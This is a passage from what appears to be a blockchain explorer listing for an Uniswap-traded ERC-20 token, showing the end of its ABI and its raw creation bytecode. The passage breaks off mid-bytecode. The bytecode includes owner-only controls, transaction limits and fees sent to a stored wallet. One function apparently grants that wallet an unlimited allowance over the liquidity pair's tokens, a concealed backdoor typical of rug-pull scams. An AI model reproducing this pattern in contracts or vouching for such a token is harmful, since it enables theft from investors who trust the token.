bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a060405261dead600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c60006101000a81548160ff0219169083151502179055506000600c60016101000a81548160ff0219169083151502179055506000600c60026101000a81548160ff0219169083151502179055506001600e60006101000a81548160ff0219169083151502179055506000600f556000601055348015620000ca57600080fd5b506040518060400160405280600a81526020017ff09d958f20546f6b656e000000000000000000000000000000000000000000008152506040518060400160405280600481526020017ff09d958f00000000000000000000000000000000000000000000000000000000815250816003908162000148919062000cf3565b5080600490816200015a919062000cf3565b50505060006200016f6200042060201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060006c0c9f2c9cd04674edea4000000090506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200024c8160016200042860201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506200029530608051846200052560201b60201c565b6064600483620002a6919062000e09565b620002b2919062000e83565b6009819055506064600483620002c9919062000e09565b620002d5919062000e83565b600b819055506103e882620002eb919062000e83565b600a8190555033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200035462000346620006f660201b60201c565b60016200072060201b60201c565b620003673060016200072060201b60201c565b6200039c600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200072060201b60201c565b620003be620003b0620006f660201b60201c565b60016200042860201b60201c565b620003d13060016200042860201b60201c565b62000406600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200042860201b60201c565b6200041833836200086d60201b60201c565b5050620011f5565b600033905090565b620004386200042060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620004ca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004c19062000f1c565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000597576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200058e9062000fb4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000600906200104c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620006e991906200107f565b60405180910390a3505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620007306200042060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620007c2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007b99062000f1c565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620008619190620010b9565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008d69062001126565b60405180910390fd5b620008f36000838362000a1160201b60201c565b6200090a8160025462000a1660201b90919060201c565b60028190555062000963816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000a1660201b90919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a0591906200107f565b60405180910390a35050565b505050565b600080828462000a27919062001148565b90508381101562000a6f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a6690620011d3565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000afb57607f821691505b60208210810362000b115762000b1062000ab3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000b7b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b3c565b62000b87868362000b3c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000bd462000bce62000bc88462000b9f565b62000ba9565b62000b9f565b9050919050565b6000819050919050565b62000bf08362000bb3565b62000c0862000bff8262000bdb565b84845462000b49565b825550505050565b600090565b62000c1f62000c10565b62000c2c81848462000be5565b505050565b5b8181101562000c545762000c4860008262000c15565b60018101905062000c32565b5050565b601f82111562000ca35762000c6d8162000b17565b62000c788462000b2c565b8101602085101562000c88578190505b62000ca062000c978562000b2c565b83018262000c31565b50505b505050565b600082821c905092915050565b600062000cc86000198460080262000ca8565b1980831691505092915050565b600062000ce3838362000cb5565b9150826002028217905092915050565b62000cfe8262000a79565b67ffffffffffffffff81111562000d1a5762000d1962000a84565b5b62000d26825462000ae2565b62000d3382828562000c58565b600060209050601f83116001811462000d6b576000841562000d56578287015190505b62000d62858262000cd5565b86555062000dd2565b601f19841662000d7b8662000b17565b60005b8281101562000da55784890151825560018201915060208501945060208101905062000d7e565b8683101562000dc5578489015162000dc1601f89168262000cb5565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000e168262000b9f565b915062000e238362000b9f565b925082820262000e338162000b9f565b9150828204841483151762000e4d5762000e4c62000dda565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e908262000b9f565b915062000e9d8362000b9f565b92508262000eb05762000eaf62000e54565b5b828204905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000f0460208362000ebb565b915062000f118262000ecc565b602082019050919050565b6000602082019050818103600083015262000f378162000ef5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062000f9c60248362000ebb565b915062000fa98262000f3e565b604082019050919050565b6000602082019050818103600083015262000fcf8162000f8d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200103460228362000ebb565b9150620010418262000fd6565b604082019050919050565b60006020820190508181036000830152620010678162001025565b9050919050565b620010798162000b9f565b82525050565b60006020820190506200109660008301846200106e565b92915050565b60008115159050919050565b620010b3816200109c565b82525050565b6000602082019050620010d06000830184620010a8565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200110e601f8362000ebb565b91506200111b82620010d6565b602082019050919050565b600060208201905081810360008301526200114181620010ff565b9050919050565b6000620011558262000b9f565b9150620011628362000b9f565b92508282019050808211156200117d576200117c62000dda565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620011bb601b8362000ebb565b9150620011c88262001183565b602082019050919050565b60006020820190508181036000830152620011ee81620011ac565b9050919050565b60805161457962001249600039600081816109850152818161147d01528181611528015281816116840152818161177c01528181612293015281816131d1015281816132b201526132d901526145796000f3fe6080604052600436106102135760003560e01c80638da5cb5b11610118578063c0246668116100a0578063dd62ed3e1161006f578063dd62ed3e146107c8578063e884f26014610805578063ea414b2814610830578063ec885dc714610859578063f2fde38b146108845761021a565b8063c024666814610732578063c876d0b91461075b578063c9567bf914610786578063cef851391461079d5761021a565b8063a457c2d7116100e7578063a457c2d714610625578063a9059cbb14610662578063aa4bde281461069f578063b62496f5146106ca578063bbc0c742146107075761021a565b80638da5cb5b1461056957806395d89b41146105945780639a4b0ab4146105bf5780639a7a23d6146105fc5761021a565b806349bd5a5e1161019b57806370a082311161016a57806370a0823114610496578063715018a6146104d3578063751039fc146104ea57806381905bf8146105155780638c0b5e221461053e5761021a565b806349bd5a5e146103d85780634a62bb65146104035780634fbee1931461042e5780636ddd17131461046b5761021a565b806318160ddd116101e257806318160ddd146102dd5780631d266b281461030857806323b872dd14610333578063313ce56714610370578063395093511461039b5761021a565b806303fd2a451461021f57806306fdde031461024a578063095ea7b3146102755780631694505e146102b25761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b506102346108ad565b6040516102419190613413565b60405180910390f35b34801561025657600080fd5b5061025f6108d3565b60405161026c91906134be565b60405180910390f35b34801561028157600080fd5b5061029c60048036038101906102979190613547565b610965565b6040516102a991906135a2565b60405180910390f35b3480156102be57600080fd5b506102c7610983565b6040516102d4919061361c565b60405180910390f35b3480156102e957600080fd5b506102f26109a7565b6040516102ff9190613646565b60405180910390f35b34801561031457600080fd5b5061031d6109b1565b60405161032a9190613646565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190613661565b6109b7565b60405161036791906135a2565b60405180910390f35b34801561037c57600080fd5b50610385610a90565b60405161039291906136d0565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd9190613547565b610a99565b6040516103cf91906135a2565b60405180910390f35b3480156103e457600080fd5b506103ed610b4c565b6040516103fa9190613413565b60405180910390f35b34801561040f57600080fd5b50610418610b72565b60405161042591906135a2565b60405180910390f35b34801561043a57600080fd5b50610455600480360381019061045091906136eb565b610b85565b60405161046291906135a2565b60405180910390f35b34801561047757600080fd5b50610480610bdb565b60405161048d91906135a2565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906136eb565b610bee565b6040516104ca9190613646565b60405180910390f35b3480156104df57600080fd5b506104e8610c36565b005b3480156104f657600080fd5b506104ff610d8e565b60405161050c91906135a2565b60405180910390f35b34801561052157600080fd5b5061053c60048036038101906105379190613744565b610e49565b005b34801561054a57600080fd5b50610553610f3b565b6040516105609190613646565b60405180910390f35b34801561057557600080fd5b5061057e610f41565b60405161058b9190613413565b60405180910390f35b3480156105a057600080fd5b506105a9610f6b565b6040516105b691906134be565b60405180910390f35b3480156105cb57600080fd5b506105e660048036038101906105e191906136eb565b610ffd565b6040516105f391906135a2565b60405180910390f35b34801561060857600080fd5b50610623600480360381019061061e9190613744565b61101d565b005b34801561063157600080fd5b5061064c60048036038101906106479190613547565b611152565b60405161065991906135a2565b60405180910390f35b34801561066e57600080fd5b5061068960048036038101906106849190613547565b61121f565b60405161069691906135a2565b60405180910390f35b3480156106ab57600080fd5b506106b461123d565b6040516106c19190613646565b60405180910390f35b3480156106d657600080fd5b506106f160048036038101906106ec91906136eb565b611243565b6040516106fe91906135a2565b60405180910390f35b34801561071357600080fd5b5061071c611263565b60405161072991906135a2565b60405180910390f35b34801561073e57600080fd5b5061075960048036038101906107549190613744565b611276565b005b34801561076757600080fd5b506107706113b6565b60405161077d91906135a2565b60405180910390f35b34801561079257600080fd5b5061079b6113c9565b005b3480156107a957600080fd5b506107b2611855565b6040516107bf9190613646565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190613784565b61185b565b6040516107fc9190613646565b60405180910390f35b34801561081157600080fd5b5061081a6118e2565b60405161082791906135a2565b60405180910390f35b34801561083c57600080fd5b50610857600480360381019061085291906136eb565b61199d565b005b34801561086557600080fd5b5061086e611aff565b60405161087b9190613646565b60405180910390f35b34801561089057600080fd5b506108ab60048036038101906108a691906136eb565b611b05565b005b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600380546108e2906137f3565b80601f016020809104026020016040519081016040528092919081815260200182805461090e906137f3565b801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b5050505050905090565b6000610979610972611ccb565b8484611cd3565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b600f5481565b60006109c4848484611e9c565b610a85846109d0611ccb565b610a80856040518060600160405280602881526020016144f760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a36611ccb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac99092919063ffffffff16565b611cd3565b600190509392505050565b60006012905090565b6000610b42610aa6611ccb565b84610b3d8560016000610ab7611ccb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2d90919063ffffffff16565b611cd3565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900460ff1681565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600c60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c3e611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc490613870565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d98611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1e90613870565b60405180910390fd5b6000600c60006101000a81548160ff0219169083151502179055506001905090565b610e51611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed790613870565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60095481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f7a906137f3565b80601f0160208091040260200160405190810160405280929190818152602001828054610fa6906137f3565b8015610ff35780601f10610fc857610100808354040283529160200191610ff3565b820191906000526020600020905b815481529060010190602001808311610fd657829003601f168201915b5050505050905090565b60126020528060005260406000206000915054906101000a900460ff1681565b611025611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ab90613870565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b90613902565b60405180910390fd5b61114e8282612b8b565b5050565b600061121561115f611ccb565b846112108560405180606001604052806025815260200161451f6025913960016000611189611ccb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac99092919063ffffffff16565b611cd3565b6001905092915050565b600061123361122c611ccb565b8484611e9c565b6001905092915050565b600b5481565b60136020528060005260406000206000915054906101000a900460ff1681565b600c60019054906101000a900460ff1681565b61127e611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490613870565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516113aa91906135a2565b60405180910390a25050565b600e60009054906101000a900460ff1681565b6113d1611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145790613870565b60405180910390fd5b6000600c60006101000a81548160ff0219169083151502179055507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150a9190613937565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611591573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b59190613937565b6040518363ffffffff1660e01b81526004016115d2929190613964565b6020604051808303816000875af11580156115f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116159190613937565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611682600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001612b8b565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116c930610bee565b6000806116d4610f41565b426040518863ffffffff1660e01b81526004016116f6969594939291906139c8565b60606040518083038185885af1158015611714573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117399190613a3e565b505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117d9929190613a91565b6020604051808303816000875af11580156117f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181c9190613acf565b506001600c60006101000a81548160ff0219169083151502179055506001600c60016101000a81548160ff021916908315150217905550565b600a5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006118ec611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461197b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197290613870565b60405180910390fd5b6000600e60006101000a81548160ff0219169083151502179055506001905090565b6119a5611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2b90613870565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a3611abb816001611276565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b611b0d611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9390613870565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0290613b6e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3990613c00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da890613c92565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e8f9190613646565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0290613d24565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7190613db6565b60405180910390fd5b611f82610f41565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611fed5750611fbe610f41565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611ff85750600081145b1561200d57612008838383612c5b565b612ac4565b600c60009054906101000a900460ff16156126f25761202a610f41565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120985750612068610f41565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120d15750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121445750600760149054906101000a900460ff16155b156126f157600c60019054906101000a900460ff1661223e57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121fe5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61223d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223490613e22565b60405180910390fd5b5b600e60009054906101000a900460ff16156124085761225b610f41565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122e257507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561233c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156124075743600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106123c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b990613eda565b60405180910390fd5b43600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124ab5750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612552576009548111156124f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ec90613f6c565b60405180910390fd5b600b5461250183610bee565b8261250c9190613fbb565b111561254d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125449061403b565b60405180910390fd5b6126f0565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125f55750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126445760095481111561263f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612636906140cd565b60405180910390fd5b6126ef565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166126ee57600b546126a183610bee565b826126ac9190613fbb565b11156126ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e49061403b565b60405180910390fd5b5b5b5b5b5b60006126fd30610bee565b90506127098484612eee565b6000600a54821015905080801561272c5750600c60029054906101000a900460ff165b80156127455750600760149054906101000a900460ff16155b801561279b5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127f15750601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128475750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561288b576001600760146101000a81548160ff02191690831515021790555061286f612f88565b6000600760146101000a81548160ff0219169083151502179055505b6000600760149054906101000a900460ff16159050601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129415750601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561294b57600090505b60008115612ab457601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129ae57506000601054115b156129e2576129db60646129cd6010548861306990919063ffffffff16565b6130e390919063ffffffff16565b9050612a6e565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a3d57506000600f54115b15612a6d57612a6a6064612a5c600f548861306990919063ffffffff16565b6130e390919063ffffffff16565b90505b5b6000811115612aa557612aa487600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612c5b565b5b8085612ab191906140ed565b94505b612abf878787612c5b565b505050505b505050565b6000838311158290612b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0891906134be565b60405180910390fd5b5060008385612b2091906140ed565b9050809150509392505050565b6000808284612b3c9190613fbb565b905083811015612b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b789061416d565b60405180910390fd5b8091505092915050565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550612c1182600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611cd3565b8015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc190613d24565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612d39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161